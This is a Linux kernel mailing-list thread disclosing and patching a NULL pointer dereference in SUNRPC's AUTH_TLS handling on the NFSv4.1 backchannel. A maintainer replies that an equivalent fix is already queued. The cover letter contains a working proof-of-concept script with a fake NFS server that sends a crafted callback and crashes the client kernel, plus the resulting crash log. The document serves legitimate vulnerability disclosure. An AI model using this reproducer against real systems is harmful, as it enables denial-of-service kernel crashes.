* [PATCH net 0/1] SUNRPC: reject AUTH_TLS on backchannel requests
@ 2026-10-23 5:55 Zhiling Zou
2026-10-23 5:55 ` [PATCH net 1/1] " Zhiling Zou
0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-10-23 5:55 UTC (permalink / raw)
To: linux-nfs, netdev
Cc: trondmy, anna, cel, jlayton, neil, okorniev, Dai.Ngo, tom, davem,
edumazet, pabeni, horms, vega, zhilinz
Hi Linux kernel maintainers,
We found and validated a NULL pointer dereference in
net/sunrpc/svcauth_unix.c. A malicious NFSv4.1 server can trigger it in
a client by sending an AUTH_TLS callback request over the backchannel.
The reproducer uses a privileged local mount to a fake server.
We will provide details of the bug below, along with the PoC and the
QEMU crash log.
---- details below ----
Bug details:
svc_process_bc() processes reverse-direction RPC calls with
rqstp->rq_xprt set to NULL, then hands the request to
svc_process_common() for authentication. For an RPC_AUTH_TLS credential,
svc_authenticate() calls svcauth_tls_accept(). A valid empty credential
and NULL verifier on procedure zero pass the initial checks. The TLS
authenticator then dereferences rqstp->rq_xprt to inspect transport
handshake support, causing a NULL pointer dereference before the NFS
callback program can reject the request.
Reject AUTH_TLS when the request has no service transport. Such a
backchannel request is denied before the authenticator accesses
rq_xprt.
Reproducer:
chmod +x poc.sh
./poc.sh
Run the reproducer as root in a QEMU guest with NFSv4.1, SUNRPC
backchannel support, and KASAN enabled. The script starts a local fake
NFS server, mounts it with NFSv4.1, and sends the malformed callback.
The crash was reproduced on Linux 6.12.95 with CONFIG_NFS_FS,
CONFIG_NFS_V4_1, CONFIG_NFSD, CONFIG_SUNRPC,
CONFIG_SUNRPC_BACKCHANNEL, and CONFIG_KASAN enabled.
------BEGIN poc.sh------
#!/bin/sh
set -eu
MNT=/tmp/nfs-bc-poc
PORT=3049
SERVER=/tmp/nfs-bc-server.py
mkdir -p "$MNT"
cat >"$SERVER" <<'PY'
import socket
import struct
import time
def recvn(conn, count):
data = b""
while len(data) < count:
chunk = conn.recv(count - len(data))
if not chunk:
raise EOFError(f"short read: wanted {count}, got {len(data)}")
data += chunk
return data
def recv_record(conn):
marker = recvn(conn, 4)
value, = struct.unpack(">I", marker)
length = value & 0x7fffffff
return marker + recvn(conn, length)
def send_record(conn, payload):
conn.sendall(struct.pack(">I", 0x80000000 | len(payload)) + payload)
def null_reply(xid):
# xid, REPLY, MSG_ACCEPTED, AUTH_NULL, len=0, SUCCESS
return struct.pack(">6I", xid, 1, 0, 0, 0, 0)
malicious_call = struct.pack(
">10I",
0xdeadbeef, # xid
0, # CALL
2, # RPC version
0x40000000, # NFS4_CALLBACK
4, # callback program version
0, # CB_NULL
7, # RPC_AUTH_TLS
0, # empty credential body
0, # RPC_AUTH_NULL verifier
0, # empty verifier body
)
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", 3049))
listener.listen(1)
conn, addr = listener.accept()
print(f"accepted {addr}", flush=True)
req1 = recv_record(conn)
print(f"req1={req1.hex()}", flush=True)
xid1, = struct.unpack(">I", req1[4:8])
send_record(conn, null_reply(xid1))
print("sent null reply", flush=True)
req2 = recv_record(conn)
print(f"req2={req2.hex()}", flush=True)
send_record(conn, malicious_call)
print("sent malicious callback", flush=True)
time.sleep(30)
PY
python3 "$SERVER" >/tmp/nfs-bc-server.log 2>&1 &
server_pid=$!
trap 'kill "$server_pid" 2>/dev/null || true' EXIT INT TERM
sleep 1
# -i bypasses mount.nfs helper pre-probes so the kernel client speaks to our
# local fake server directly.
mount -i -t nfs4 \
-o vers=4.1,port="$PORT",addr=127.0.0.1,clientaddr=127.0.0.1,soft,timeo=1,retrans=0 \
127.0.0.1:/ "$MNT" || true
sleep 5
cat /tmp/nfs-bc-server.log || true
------END poc.sh--------
----BEGIN crash log----
[ 237.564994][ T1083] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000001: 0000 [#1] SMP KASAN NOPTI
[ 237.565967][ T1083] KASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f]
[ 237.566585][ T1083] CPU: 1 UID: 0 PID: 1083 Comm: NFSv4 callback Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[ 237.567454][ T1083] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 237.568324][ T1083] RIP: 0010:svcauth_tls_accept+0x230/0x800
[ 237.568824][ T1083] Code: 85 59 05 00 00 48 89 83 68 01 00 00 48 85 c0 0f 84 cb 03 00 00 48 b8 00 00 00 00 00 fc ff df 49 8d 7d 08 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 46 05 00 00 48 b8 00 00 00 00 00 fc ff df 4d 8b
[ 237.570143][ T1083] RSP: 0018:ffffc90003107c48 EFLAGS: 00010212
[ 237.570539][ T1083] RAX: dffffc0000000000 RBX: ffff888109430000 RCX: 1ffff1102128602d
[ 237.571037][ T1083] RDX: 0000000000000001 RSI: 0000000000000004 RDI: 0000000000000008
[ 237.571535][ T1083] RBP: 1ffff92000620f8a R08: 0000000000000001 R09: ffffed102080a865
[ 237.572030][ T1083] R10: ffff88810405432b R11: 0000000000000001 R12: ffff8881094301f0
[ 237.572535][ T1083] R13: 0000000000000000 R14: ffff888109432c84 R15: ffffffff88b0b240
[ 237.573030][ T1083] FS: 0000000000000000(0000) GS:ffff888119e00000(0000) knlGS:0000000000000000
[ 237.573591][ T1083] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 237.574006][ T1083] CR2: 000079a069f1b0a0 CR3: 0000000117296001 CR4: 0000000000770ef0
[ 237.574512][ T1083] PKRU: 55555554
[ 237.574738][ T1083] Call Trace:
[ 237.574950][ T1083] <TASK>
[ 237.575141][ T1083] ? __pfx_svcauth_tls_accept+0x10/0x10
[ 237.575496][ T1083] ? lock_acquire+0x153/0x2f0
[ 237.575818][ T1083] svc_process_common+0x84b/0x1ce0
[ 237.576148][ T1083] ? lock_release+0x687/0xc90
[ 237.576493][ T1083] ? __pfx_svc_process_common+0x10/0x10
[ 237.576914][ T1083] ? __pfx_lock_release+0x10/0x10
[ 237.577298][ T1083] svc_process_bc+0x4ed/0x980
[ 237.577655][ T1083] ? srso_alias_return_thunk+0x5/0xfbef5
[ 237.578110][ T1083] ? do_raw_spin_unlock+0x14a/0x1f0
[ 237.578498][ T1083] ? __pfx_svc_process_bc+0x10/0x10
[ 237.578937][ T1083] nfs4_callback_svc+0xb1/0x140
[ 237.579271][ T1083] ? __pfx_nfs4_callback_svc+0x10/0x10
[ 237.579683][ T1083] kthread+0x2bd/0x3a0
[ 237.580000][ T1083] ? __pfx_kthread+0x10/0x10
[ 237.580336][ T1083] ? __pfx_kthread+0x10/0x10
[ 237.580693][ T1083] ret_from_fork+0x31/0x70
[ 237.581036][ T1083] ? __pfx_kthread+0x10/0x10
[ 237.581393][ T1083] ret_from_fork_asm+0x1a/0x30
[ 237.581771][ T1083] </TASK>
[ 237.581995][ T1083] Modules linked in:
[ 237.582447][ T1083] ---[ end trace 0000000000000000 ]---
[ 237.582861][ T1083] RIP: 0010:svcauth_tls_accept+0x230/0x800
[ 237.583310][ T1083] Code: 85 59 05 00 00 48 89 83 68 01 00 00 48 85 c0 0f 84 cb 03 00 00 48 b8 00 00 00 00 00 fc ff df 49 8d 7d 08 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 46 05 00 00 48 b8 00 00 00 00 00 fc ff df 4d 8b
[ 237.585029][ T1083] RSP: 0018:ffffc90003107c48 EFLAGS: 00010212
[ 237.585481][ T1083] RAX: dffffc0000000000 RBX: ffff888109430000 RCX: 1ffff1102128602d
[ 237.586066][ T1083] RDX: 0000000000000001 RSI: 0000000000000004 RDI: 0000000000000008
[ 237.586644][ T1083] RBP: 1ffff92000620f8a R08: 0000000000000001 R09: ffffed102080a865
[ 237.587235][ T1083] R10: ffff88810405432b R11: 0000000000000001 R12: ffff8881094301f0
[ 237.588020][ T1083] R13: 0000000000000000 R14: ffff888109432c84 R15: ffffffff88b0b240
[ 237.588798][ T1083] FS: 0000000000000000(0000) GS:ffff888119e00000(0000) knlGS:0000000000000000
[ 237.589472][ T1083] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 237.590105][ T1083] CR2: 000079a069f1b0a0 CR3: 0000000117296001 CR4: 0000000000770ef0
[ 237.590876][ T1083] PKRU: 55555554
[ 237.591159][ T1083] Kernel panic - not syncing: Fatal exception
[ 237.591781][ T1083] Kernel Offset: disabled
[ 237.592105][ T1083] Rebooting in 10 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
SUNRPC: reject AUTH_TLS on backchannel requests
net/sunrpc/svcauth_unix.c | 5 +++++
1 file changed, 5 insertions(+)
--
2.55.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH net 1/1] SUNRPC: reject AUTH_TLS on backchannel requests
2026-10-23 5:55 [PATCH net 0/1] SUNRPC: reject AUTH_TLS on backchannel requests Zhiling Zou
@ 2026-10-23 5:55 ` Zhiling Zou
2026-10-23 18:02 ` Chuck Lever
0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-10-23 5:55 UTC (permalink / raw)
To: linux-nfs, netdev
Cc: trondmy, anna, cel, jlayton, neil, okorniev, Dai.Ngo, tom, davem,
edumazet, pabeni, horms, vega, zhilinz
svc_process_bc() processes reverse-direction calls with rqstp->rq_xprt
set to NULL. A backchannel caller can supply RPC_AUTH_TLS, which selects
svcauth_tls_accept(). That handler dereferences rq_xprt while checking
for transport handshake support, causing a NULL pointer dereference
before the RPC program can reject the request.
Reject AUTH_TLS credentials when no service transport is present. The
backchannel request is then denied without accessing rq_xprt.
Fixes: 74aaf96feaca ("SUNRPC: Teach server to recognize RPC_AUTH_TLS")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/sunrpc/svcauth_unix.c | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/net/sunrpc/svcauth_unix.c b/net/sunrpc/svcauth_unix.c
index 31a1bc60a5f6d..bac38f3ce9a6c 100644
--- a/net/sunrpc/svcauth_unix.c
+++ b/net/sunrpc/svcauth_unix.c
@@ -1128,6 +1128,11 @@ svcauth_tls_accept(struct svc_rqst *rqstp)
rqstp->rq_auth_stat = rpc_autherr_badcred;
return SVC_DENIED;
}
+ if (unlikely(!xprt)) {
+ /* Backchannel requests do not have a service transport. */
+ rqstp->rq_auth_stat = rpc_autherr_badcred;
+ return SVC_DENIED;
+ }
/* Signal that mapping to nobody uid/gid is required */
cred->cr_uid = INVALID_UID;
--
2.55.0
^ permalink raw reply related [flat|nested] 3+ messages in thread
* Re: [PATCH net 1/1] SUNRPC: reject AUTH_TLS on backchannel requests
2026-10-23 5:55 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-10-23 18:02 ` Chuck Lever
0 siblings, 0 replies; 3+ messages in thread
From: Chuck Lever @ 2026-10-23 18:02 UTC (permalink / raw)
To: Zhiling Zou, linux-nfs, netdev
Cc: Trond Myklebust, Anna Schumaker, Jeff Layton, NeilBrown,
Olga Kornievskaia, Dai Ngo, Tom Talpey, davem, Eric Dumazet,
Paolo Abeni, Simon Horman, vega
On Fri, Oct 23, 2026, at 1:55 AM, Zhiling Zou wrote:
> svc_process_bc() processes reverse-direction calls with rqstp->rq_xprt
> set to NULL. A backchannel caller can supply RPC_AUTH_TLS, which selects
> svcauth_tls_accept(). That handler dereferences rq_xprt while checking
> for transport handshake support, causing a NULL pointer dereference
> before the RPC program can reject the request.
>
> Reject AUTH_TLS credentials when no service transport is present. The
> backchannel request is then denied without accessing rq_xprt.
>
> Fixes: 74aaf96feaca ("SUNRPC: Teach server to recognize RPC_AUTH_TLS")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: LLM
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
> ---
> net/sunrpc/svcauth_unix.c | 5 +++++
> 1 file changed, 5 insertions(+)
>
> diff --git a/net/sunrpc/svcauth_unix.c b/net/sunrpc/svcauth_unix.c
> index 31a1bc60a5f6d..bac38f3ce9a6c 100644
> --- a/net/sunrpc/svcauth_unix.c
> +++ b/net/sunrpc/svcauth_unix.c
> @@ -1128,6 +1128,11 @@ svcauth_tls_accept(struct svc_rqst *rqstp)
> rqstp->rq_auth_stat = rpc_autherr_badcred;
> return SVC_DENIED;
> }
> + if (unlikely(!xprt)) {
> + /* Backchannel requests do not have a service transport. */
> + rqstp->rq_auth_stat = rpc_autherr_badcred;
> + return SVC_DENIED;
> + }
>
> /* Signal that mapping to nobody uid/gid is required */
> cred->cr_uid = INVALID_UID;
> --
> 2.55.0
Commit a54a573bceaf, "sunrpc: reject AUTH_TLS on backchannel to prevent
NULL-deref in svcauth_tls_accept", now in the nfsd-testing branch,
already addresses this issue. Thanks for confirming the finding!
--
Chuck Lever (Come to NFS bake-a-thon! https://nfsv4bat.org)
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-10-23 18:02 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-23 5:55 [PATCH net 0/1] SUNRPC: reject AUTH_TLS on backchannel requests Zhiling Zou
2026-10-23 5:55 ` [PATCH net 1/1] " Zhiling Zou
2026-10-23 18:02 ` Chuck Lever
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox